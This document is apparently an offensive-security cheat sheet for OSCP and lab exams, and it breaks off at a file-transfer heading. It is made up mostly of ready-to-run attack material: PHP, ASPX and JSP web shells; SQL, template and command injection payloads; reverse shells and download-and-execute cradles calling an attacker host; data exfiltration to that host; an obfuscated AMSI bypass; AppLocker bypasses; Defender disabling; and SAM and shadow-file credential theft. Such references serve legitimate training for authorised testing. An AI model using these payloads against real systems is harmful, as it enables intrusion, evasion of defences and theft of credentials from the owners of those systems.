Recon & Enumeration
Always start broad, then go deep. Enumeration is 70% of the work.
Nmap
# Quick TCP scan, all ports
nmap -p- --min-rate=1000 -T4 $RHOST -oN nmap_full.txt
# Service/version detection on found ports
nmap -sC -sV -pPORTS $RHOST -oN nmap_svc.txt
# UDP top 100
sudo nmap -sU --top-ports 100 $RHOST -oN nmap_udp.txt
# Vuln scripts
nmap --script vuln -pPORTS $RHOST
Web Discovery
# Directory brute force
gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,asp,aspx -t 50
feroxbuster -u http://$RHOST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Vhost / subdomain enum
ffuf -u http://$RHOST -H "Host: FUZZ.target.htb" -w wordlist.txt -fs SIZE
# Nikto baseline
nikto -h http://$RHOST
SMB WIN
# Null session enum
smbclient -L //$RHOST -N
smbmap -H $RHOST -u '' -p ''
enum4linux-ng -A $RHOST
# Connect to share
smbclient //$RHOST/share -U user
# With creds
crackmapexec smb $RHOST -u user -p pass --shares
FTP / SSH / Other
# FTP anonymous
ftp $RHOST # user: anonymous, pass: blank
# SNMP
snmpwalk -v2c -c public $RHOST
onesixtyone -c community.txt $RHOST
# LDAP
ldapsearch -x -H ldap://$RHOST -b "dc=domain,dc=local"
# NFS
showmount -e $RHOST
Useful Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | anon login, vsftpd 2.3.4 backdoor |
| 22 | SSH | user enum, key auth, weak creds |
| 25/465/587 | SMTP | VRFY/EXPN user enum |
| 53 | DNS | zone transfer (AXFR) |
| 88 | Kerberos | AD β ASREPRoast, Kerberoast |
| 111 | RPCbind | NFS exports |
| 139/445 | SMB | shares, EternalBlue, null sessions |
| 389/636 | LDAP | AD enumeration |
| 1433 | MSSQL | xp_cmdshell, impersonation |
| 3306 | MySQL | weak creds, UDF |
| 3389 | RDP | BlueKeep, weak creds |
| 5985/5986 | WinRM | evil-winrm |
Wireshark & Packet Analysis
Passive recon, credential sniffing on a pivoted segment, and the go-to tool for ICS/OT protocol analysis before touching a live PLC.
Display Filters β IP / Host
ip.addr == 10.10.50.1 # either src or dst
ip.src == 10.10.50.1
ip.dst == 10.10.50.1
ip.addr >= 10.10.50.1 and ip.addr <= 10.10.50.100 # range
ip.addr == 10.10.50.1 and ip.addr == 10.10.50.100 # both hosts in convo
!(ip.addr == 10.10.50.1) # exclude a host
Display Filters β Port / Protocol
tcp.port == 445
udp.port == 53
http or dns or ftp
tcp.flags.syn == 1 and tcp.flags.ack == 0 # SYN scans / new connections
tcp contains "password" # raw string search across the payload
frame contains "flag{" # CTF-style flag hunting
Finding Cleartext Credentials
http.request.method == "POST" # then follow HTTP stream, check for login fields
ftp.request.command == "USER" or ftp.request.command == "PASS"
telnet
pop.request.command == "USER" or pop.request.command == "PASS"
snmp.community # SNMP community strings in cleartext
Follow Streams & Extract Files
- Right-click a packet β Follow β TCP Stream (or HTTP/TLS Stream) to read a full conversation
- File β Export Objects β HTTP/SMB/FTP β pull transferred files straight out of a capture
- Statistics β Conversations β quick overview of who talked to whom, and how much
- Statistics β Protocol Hierarchy β spot unexpected protocols buried in a large pcap
- Have a TLS keylog file (
SSLKEYLOGFILE)? Edit β Preferences β TLS β (Pre)-Master-Secret log filename to decrypt HTTPS in the capture
ICS / Industrial Protocol Filters
modbus # Modbus TCP (port 502)
s7comm # Siemens S7 (port 102)
dnp3 # DNP3 (port 20000)
cip # EtherNet/IP (44818)
profinet_io # Profinet
tshark (CLI / headless)
# Live capture, filtered
tshark -i eth0 -f "tcp port 445"
# Read a pcap with a display filter, print specific fields
tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri
# Pull ICS traffic out of a large capture for offline review
tshark -r capture.pcap -Y "modbus || s7comm" -w ics_only.pcap
# Dump raw ASCII payload (grep-able for creds/flags)
tshark -r capture.pcap -T fields -e data.text 2>/dev/null | grep -i pass
Quick Reference
| Task | Filter / Action |
|---|---|
| Filter by IP | ip.addr == X |
| Filter by port | tcp.port == X |
| Search raw payload | tcp contains "text" / frame contains "text" |
| Extract transferred files | File β Export Objects |
| Read a full conversation | Follow β TCP/HTTP/TLS Stream |
| Decrypt HTTPS | Preferences β TLS β keylog file |
Post-Exploitation Checklist
Run these immediately after landing a shell β before you do anything else. Screenshot everything.
First 60 Seconds β Linux LIN
id && whoami
hostname
ip a || ifconfig
cat /etc/hosts
cat /etc/passwd | grep -v nologin
uname -a && cat /etc/os-release
ps aux
netstat -tulnp 2>/dev/null || ss -tulnp
ls -la /home/
ls -la /root/ 2>/dev/null
cat /etc/crontab && ls -la /etc/cron*
env
find / -perm -4000 -type f 2>/dev/null # SUID
sudo -l
First 60 Seconds β Windows WIN
whoami /all
hostname
ipconfig /all
net users
net localgroup administrators
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
netstat -ano
tasklist /svc
net share
wmic logicaldisk get caption,description,drivetype
dir C:\Users\
dir "C:\Program Files\"
dir "C:\Program Files (x86)\"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Stability First
# Upgrade shell immediately (Linux)
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm SHELL=bash
stty rows 40 cols 160
# Windows β get a stable shell via nc.exe or meterpreter
# If WinRM open: evil-winrm beats a raw nc shell every time
evil-winrm -i $RHOST -u USER -p PASS
Loot Immediately After Root/SYSTEM
# Linux
cat /etc/shadow
cat /root/.ssh/id_rsa
cat /root/root.txt
find /home /root -name "*.txt" -o -name "*.key" -o -name "*.conf" 2>/dev/null
cat ~/.bash_history
grep -r "password\|passwd\|secret\|key" /etc /var/www /opt 2>/dev/null | grep -v Binary
# Windows
type C:\Users\Administrator\Desktop\proof.txt
reg save HKLM\SAM C:\Temp\SAM & reg save HKLM\SYSTEM C:\Temp\SYSTEM
dir /s /b C:\Users\ | findstr /i "password\|cred\|secret\|key\|vnc\|\.kdbx"
cmdkey /list
type "C:\Windows\System32\drivers\etc\hosts"
Network Recon from Foothold
# Linux β what else is on the network?
ip route
arp -a
cat /etc/hosts
for i in $(seq 1 254); do ping -c1 -W1 10.10.10.$i >/dev/null && echo "10.10.10.$i up"; done
# Windows
ipconfig /all
route print
arp -a
net view /all
net view /domain
Web Attacks WEB
SQL Injection
# Test points (add to any param, header, cookie)
' OR 1=1--
" OR 1=1--
admin'--
' OR '1'='1
1; SELECT SLEEP(5)-- # time-based blind
# sqlmap β use -r (request file from Burp) when possible
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D <DB> --tables
sqlmap -r request.txt --batch -D <DB> -T <TABLE> --dump
sqlmap -u "http://$RHOST/page?id=1" --batch --dbs
sqlmap -u "http://$RHOST/login" --data="user=a&pass=b" --batch
# Manual: find column count
' ORDER BY 1--
' ORDER BY 2-- # increase until error β that number - 1 = col count
# Union-based
' UNION SELECT null,null,null-- -
' UNION SELECT 1,user(),database()-- -
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
# Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT user())))-- -
# Blind boolean
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -
# Auth bypass
admin'-- -
' OR 1=1-- -
' OR 'x'='x
Local / Remote File Inclusion
# LFI basics
?file=../../../../etc/passwd
?file=../../../../etc/shadow
?file=../../../../home/user/.ssh/id_rsa
?file=../../../../proc/self/environ
?file=../../../../var/log/apache2/access.log # log poisoning
?file=../../../../var/log/auth.log # SSH log poisoning
# Wrappers
?file=php://filter/convert.base64-encode/resource=index.php # read source
?file=php://filter/read=string.rot13/resource=index.php
?file=php://input # POST body as PHP (if allow_url_include=On)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== # base64 <?php system($_GET['c']); ?>
# Log poisoning β RCE: inject PHP into User-Agent, then include log
curl -A "<?php system(\$_GET['c']); ?>" http://$RHOST/
?file=../../../../var/log/apache2/access.log&c=id
# Null byte (PHP < 5.3.4)
?file=../../../../etc/passwd%00
# Path traversal filter bypass
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
# RFI (allow_url_include=On)
?file=http://$LHOST/shell.txt
?file=\\$LHOST\share\shell.php
Command Injection
# Basic separators
; id
| id
|| id
&& id
`id`
$(id)
# Blind β time delay to confirm
; sleep 5
| ping -c 5 127.0.0.1
$(sleep 5)
# OOB β use Burp Collaborator or:
; curl http://$LHOST/$(whoami)
; nslookup $(whoami).$LHOST
# Filter bypass
{cat,/etc/passwd}
c\at /etc/p\asswd
ca''t /et''c/passwd
cat$IFS/etc/passwd # $IFS replaces spaces
cat${IFS}/etc/passwd
X=$'cat\x20/etc/passwd'&&$X
File Upload Bypass
# PHP shells
<?php system($_GET['c']); ?>
<?php passthru($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
# Extension filter bypass β try all
shell.php / .php3 / .php4 / .php5 / .php7 / .phtml / .phar / .shtml
# Double extension
shell.php.jpg # if only checking last extension
shell.jpg.php # if only checking first extension
# Magic bytes β prepend to fool content-type check
GIF89a; <?php system($_GET['c']); ?>
# or use exiftool to embed in EXIF
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg -o shell.php.jpg
# MIME type bypass (change Content-Type in Burp)
Content-Type: image/jpeg
# .htaccess upload (if Apache + writable dir)
AddType application/x-httpd-php .jpg
# then upload shell.jpg
# ASPX (IIS)
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %>
# Upload filetype β attack surface reference
# SVG β Stored XSS/SSRF | CSV β injection | XML β XXE | ZIP β path traversal
Directory Traversal
# Try all variations β servers normalise paths differently
../../../etc/passwd
..\..\..\windows\win.ini
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd # double URL encode
....//....//....//etc/passwd # ..// after stripping ../
# In filename param or Content-Disposition
filename="../../../../etc/passwd"
Authentication Attacks
# Default creds to always try
admin:admin admin:password admin:1234 admin: root:root
tomcat:tomcat manager:manager guest:guest test:test
# JWT attacks
# 1. alg:none β remove signature
# 2. HS256 β RS256 confusion
# 3. Weak secret brute: hashcat -m 16500 token.txt rockyou.txt
# Password reset poisoning β change Host header
Host: evil.com
# Link in email points to evil.com/reset?token=...
# IDOR β change IDs in requests
GET /api/user/1/profile β try 2, 3, 0, -1
GET /invoice/download?id=1001 β try 1000, 1002
WordPress
wpscan --url http://$RHOST --enumerate u,p,t,cb,dbe -t 50
wpscan --url http://$RHOST -U users.txt -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
# If admin creds: Appearance β Theme Editor β 404.php β add shell, then visit /wp-content/themes/THEME/404.php
# Or: Plugins β Add New β Upload malicious plugin zip
Common Web Shells
# PHP
<?php system($_GET['c']); ?>
<?php @eval($_POST['c']); ?>
# ASPX
<%@ Page Language="C#"%><%System.Diagnostics.Process p=new System.Diagnostics.Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c "+Request["c"];p.StartInfo.RedirectStandardOutput=true;p.StartInfo.UseShellExecute=false;p.Start();Response.Write(p.StandardOutput.ReadToEnd());%>
# JSP
<%Runtime.getRuntime().exec(request.getParameter("c"));%>
# Useful paths to upload to
# Linux: /var/www/html/ /var/www/html/uploads/ /tmp/
# Windows IIS: C:\inetpub\wwwroot\ C:\xampp\htdocs\
SSTI / XXE / SSRF WEB
Server-Side Template Injection (SSTI)
Fuzz first, identify engine from error/output, then tailor payload. Ref: PayloadsAllTheThings
# Universal fuzz string
${{<%[%'"}}%\.
# Detection per engine
{{7*7}} # β 49: Jinja2 / Twig
${7*7} # β 49: Freemarker / Pebble
#{7*7} # β 49: Ruby ERB
*{7*7} # β 49: Spring Thymeleaf
Jinja2 (Python/Flask)
# Enumerate subclasses (find subprocess.Popen index)
{{ ''.__class__.__mro__[1].__subclasses__() }}
# RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Reverse shell
{{ ''.__class__.__mro__[1].__subclasses__()[439]('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"',shell=True,stdout=-1).communicate() }}
# Filter bypass (underscore/dot blocked) β use hex encoding
{{request|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['/bin/bash','-c','bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1']|filter('passthru')}}
Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex("id")}
ERB (Ruby/Rails)
<%= system('id') %>
<%= `bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"` %>
XML External Entity (XXE)
Any app parsing XML. Also test SVG/DOCX/XLSX uploads β they're XML internally.
# Read local file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
# Windows
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><item>&test;</item></order>
# PHP source via base64 filter
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]>
<foo>&xxe;</foo>
# Blind OOB β host evil.dtd on $LHOST
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://$LHOST/evil.dtd"> %xxe;]><foo/>
# evil.dtd content:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://$LHOST/?x=%file;'>">
%all;
# SSRF via XXE
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>
Server-Side Request Forgery (SSRF)
# Internal probes
http://127.0.0.1/
http://127.0.0.1:8080/admin
http://169.254.169.254/latest/meta-data/ # AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Filter bypass (localhost blocked)
http://0x7f000001/ # hex
http://0177.0.0.1/ # octal
http://[::1]/ # IPv6
http://127.0.0.1.nip.io/ # DNS β 127.0.0.1
# Internal port scan β diff response = open
https://$RHOST/fetch?url=http://127.0.0.1:PORT/
# SSRF β Gopher β Redis RCE
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0d%0a...
Common Service Exploitation
These show up constantly on OSCP/PG. Know them cold.
Apache Tomcat
# Default creds
tomcat:tomcat admin:admin tomcat:s3cret admin:tomcat manager:manager
# Find manager panel
http://$RHOST:8080/manager/html
http://$RHOST:8080/host-manager/html
# Deploy WAR shell via manager (if creds found)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o shell.war
curl -u 'tomcat:tomcat' http://$RHOST:8080/manager/text/deploy?path=/shell --upload-file shell.war
curl http://$RHOST:8080/shell/
# Via curl undeploy + redeploy
curl -u 'admin:admin' "http://$RHOST:8080/manager/text/undeploy?path=/shell"
curl -u 'admin:admin' "http://$RHOST:8080/manager/text/deploy?path=/shell" --upload-file shell.war
# MSF (exam: counts as your 1 use)
use exploit/multi/http/tomcat_mgr_upload
Jenkins
# Default: no auth, or admin:admin, admin:password
http://$RHOST:8080/
# Groovy Script Console RCE (Manage Jenkins β Script Console)
def cmd = "id"
def proc = cmd.execute()
proc.waitFor()
println proc.text
# Reverse shell via Groovy console
String host="$LHOST";int port=$LPORT;String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());
so.flush();po.flush();Thread.sleep(50);}p.destroy();s.close();
# Windows Groovy reverse shell
def cmd = "powershell -nop -c \"\$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){;\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$sb+=('PS '+(pwd).Path+'> ');\$sb=[text.encoding]::ASCII.GetBytes(\$sb);\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()};\$c.Close()\""
def proc = ['cmd','/c',cmd].execute()
proc.waitFor()
phpMyAdmin
# Default creds
root: (blank) root:root root:toor root:password pma:pma
# RCE via SQL β write webshell
SELECT "<?php system(\$_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php';
# Or via Import β upload a .sql file containing the SELECT INTO OUTFILE
# Find web root first: SELECT @@datadir; / LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')
Webmin
# Default port: 10000 (HTTPS)
https://$RHOST:10000
# CVE-2019-15107: unauthenticated RCE (Webmin < 1.920, password reset enabled)
curl -k "https://$RHOST:10000/password_change.cgi" \
--data 'user=root&pam=&expired=2&old=|bash+-i+>&+/dev/tcp/$LHOST/$LPORT+0>&1&new1=test&new2=test'
# CVE-2006-3392: path traversal (old Webmin)
curl -k "https://$RHOST:10000/unauthenticated/..%01/..%01/..%01/etc/passwd"
# With creds: Others β Command Shell
Splunk
# Default creds: admin:changeme
http://$RHOST:8000
# RCE via Splunk Universal Forwarder (port 8089)
# https://github.com/cnotin/SplunkWhisperer2
python PySplunkWhisperer2_remote.py --host $RHOST --port 8089 \
--username admin --password changeme \
--payload "nc $LHOST $LPORT -e /bin/bash" --payload-arguments ""
# Via app upload (if admin access to web UI)
# Create malicious Splunk app with shell in bin/run.sh, zip it, upload via Apps β Install from file
IIS / ASP.NET
# WebDAV β if enabled, upload .aspx shell
davtest -url http://$RHOST/
cadaver http://$RHOST/
dav:/ put shell.aspx
# Default IIS paths
C:\inetpub\wwwroot\
C:\inetpub\wwwroot\aspnet_client\
# ASPX web shell
<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd","/c "+Request["c"]);%>
WordPress
wpscan --url http://$RHOST --enumerate u,p,t,cb,dbe -t 50
wpscan --url http://$RHOST -U users.txt -P /usr/share/wordlists/rockyou.txt
# With admin creds β shell
# Appearance β Theme Editor β 404.php β insert shell β visit /?p=404
# Or: Plugins β Add New β upload malicious plugin .zip
# Malicious plugin template:
# <?php /** Plugin Name: Shell */ system($_GET['c']); ?>
# Zip and upload via Plugins β Add New β Upload Plugin
FTP Writeable Root β Web Shell
# If FTP root overlaps with web root
ftp $RHOST
put shell.php
# Then visit http://$RHOST/shell.php?c=id
NFS No Root Squash
# Enum exports
showmount -e $RHOST
# If no_root_squash on export:
mkdir /tmp/nfs
mount -o rw,vers=3 $RHOST:/share /tmp/nfs
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
# On victim:
/share/bash -p # β root shell
Databases
MSSQL WIN
# Connect
impacket-mssqlclient USER:PASS@$RHOST -windows-auth
sqlcmd -S $RHOST -U USER -P 'PASS'
# Recon
SELECT @@version; SELECT name FROM master.sys.databases; go
SELECT name,sysadmin FROM syslogins;
SELECT srvname,isremote FROM sysservers;
# Enable and use xp_cmdshell
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
xp_cmdshell "powershell IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
# Steal NetNTLM hash β Responder
exec master.dbo.xp_dirtree '\\$LHOST\FOOBAR'
# Linked server pivoting
EXEC ('SELECT current_user') at [DOMAIN\LINKEDSRV];
EXEC ('EXEC xp_cmdshell ''whoami''') at [DOMAIN\LINKEDSRV];
# SQLi β xp_cmdshell
'; EXEC master.dbo.xp_cmdshell 'ping $LHOST'; --
'; EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://$LHOST/nc.exe C:\Temp\nc.exe'; --
# Via NetExec
netexec mssql $RHOST -u USER -p PASS --local-auth -x whoami
netexec mssql $RHOST -u USER -p PASS -M mssql_priv
netexec mssql $RHOST -u USER -p PASS -M mssql_priv -o ACTION=privesc
MySQL LIN
mysql -u root -p
mysql -u USER -pPASS -h $RHOST
show databases; use <DB>; show tables; describe <TABLE>;
select user,password from mysql.user;
# Write webshell (needs FILE priv + writable path)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php';
SELECT LOAD_FILE('/etc/passwd');
# UDF local PE (MySQL running as root)
# https://www.exploit-db.com/exploits/1518
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod +s /bin/bash');
PostgreSQL
psql -h $RHOST -p 5432 -U USER -d <DATABASE>
\list \c <DB> \dt \du \q
SELECT usename,passwd FROM pg_shadow;
SELECT pg_read_file('/etc/passwd',0,100000);
# RCE via COPY FROM PROGRAM
DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(o text);
COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;
COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';
NoSQL / MongoDB
# Auth bypass payloads
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
?user[$ne]=x&pass[$ne]=x # URL param form
admin'||''===' # JS injection form
# Connect
mongosh mongodb://$RHOST:27017
show dbs; use <DB>; show collections; db.<COL>.find().pretty()
Redis
redis-cli -h $RHOST
INFO server; CONFIG GET dir; KEYS *; GET <key>
# Write SSH key
config set dir /home/redis/.ssh
config set dbfilename authorized_keys
set payload "\n\nssh-rsa YOUR_PUB_KEY\n\n"
save
# Write webshell
config set dir /var/www/html
config set dbfilename shell.php
set payload "<?php system($_GET['c']); ?>"
save
Reverse Shells
Set up listener first: nc -lvnp $LPORT or rlwrap nc -lvnp $LPORT for line history.
Bash LIN
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
# Base64 (avoids escaping issues)
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" | base64
bash -c '{echo,BASE64HERE}|{base64,-d}|{bash,-i}'
Python LIN WIN
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",$LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
PowerShell WIN
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Nishang (Windows)
# Host Invoke-PowerShellTcp.ps1, append at bottom: Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port $LPORT
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')
MSFvenom Payloads
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o shell.elf
# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o shell.exe
# PHP
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o shell.php
# ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f aspx -o shell.aspx
# War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o shell.war
TTY Upgrade LIN
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then:
Ctrl+Z
stty raw -echo; fg
# Press Enter twice, then:
export TERM=xterm
export SHELL=bash
stty rows 40 columns 120
AV / AMSI Bypass WIN
Run AMSI bypass first before anything else in a PowerShell session. If a binary gets flagged, try encoding, obfuscation, or in-memory execution.
AMSI Bypass (PowerShell β run first)
# Classic β patch AmsiScanBuffer to always return clean
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# One-liner obfuscated (evades string detection)
S`eT-It`em ( 'V'+'aR'+'IA'+'blE:1q2'+'uZx' ) ( [TYpE]( "{1}{0}"-f'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U"+"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ))."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# PowerShell downgrade (v2 has no AMSI)
powershell -version 2 -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
# Execution Policy bypass
powershell -ep bypass -c "..."
powershell -ExecutionPolicy Bypass -File script.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
In-Memory Execution (no disk write)
# Download and execute in memory β never touches disk
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerUp.ps1'); Invoke-AllChecks
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PrivescCheck.ps1'); Invoke-PrivescCheck
# Curl in-memory (Win10+)
IEX(curl http://$LHOST/shell.ps1 -UseBasicParsing)
# .NET reflection β load assembly from URL without touching disk
$data=(New-Object Net.WebClient).DownloadData('http://$LHOST/SharpUp.exe')
$assem=[System.Reflection.Assembly]::Load($data)
[SharpUp.Program]::Main("")
Payload Encoding & Obfuscation
# Base64 encode a PowerShell command (attacker side)
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://$LHOST/shell.ps1")' | iconv -t UTF-16LE | base64 -w0
powershell -enc <BASE64>
# msfvenom encoded (multiple iterations)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -e x64/xor_dynamic -i 9 -o shell.exe
# Shikata ga nai (x86 only)
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -e x86/shikata_ga_nai -i 5 -o shell.exe
# Custom EXE wrapper β embed shellcode in C template, compile on box
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f c -o shellcode.c
LOLBAS β Run Payloads via Trusted Binaries
# mshta β execute remote HTA
mshta http://$LHOST/shell.hta
# rundll32
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')")
# regsvr32 (AppLocker bypass)
regsvr32 /s /n /u /i:http://$LHOST/shell.sct scrobj.dll
# certutil β download (also a classic AV bypass vector)
certutil -urlcache -split -f http://$LHOST/shell.exe C:\Temp\shell.exe && C:\Temp\shell.exe
# wmic
wmic process call create "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
# msiexec
msiexec /quiet /i http://$LHOST/shell.msi
AppLocker Bypass
# Writable paths usually whitelisted by default AppLocker policy
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
# Check AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Bypass via InstallUtil (whitelisted .NET binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
# Bypass via MSBuild
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shell.csproj
Defender β Disable (if SYSTEM)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Add-MpPreference -ExclusionPath "C:\Temp"
sc stop WinDefend
sc config WinDefend start= disabled
File Transfer
HTTP Server (attacker)
python3 -m http.server 80
# or
php -S 0.0.0.0:80
# SMB (good for Windows)
impacket-smbserver share . -smb2support
impacket-smbserver share . -smb2support -user u -password p
Linux Download
wget http://$LHOST/file -O /tmp/file
curl http://$LHOST/file -o /tmp/file
curl http://$LHOST/script.sh | bash
Windows Download
# PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST/file.exe','C:\Windows\Temp\file.exe')"
powershell -c "iwr http://$LHOST/file.exe -OutFile C:\Windows\Temp\file.exe"
# Certutil (older)
certutil -urlcache -split -f http://$LHOST/file.exe C:\Windows\Temp\file.exe
# SMB
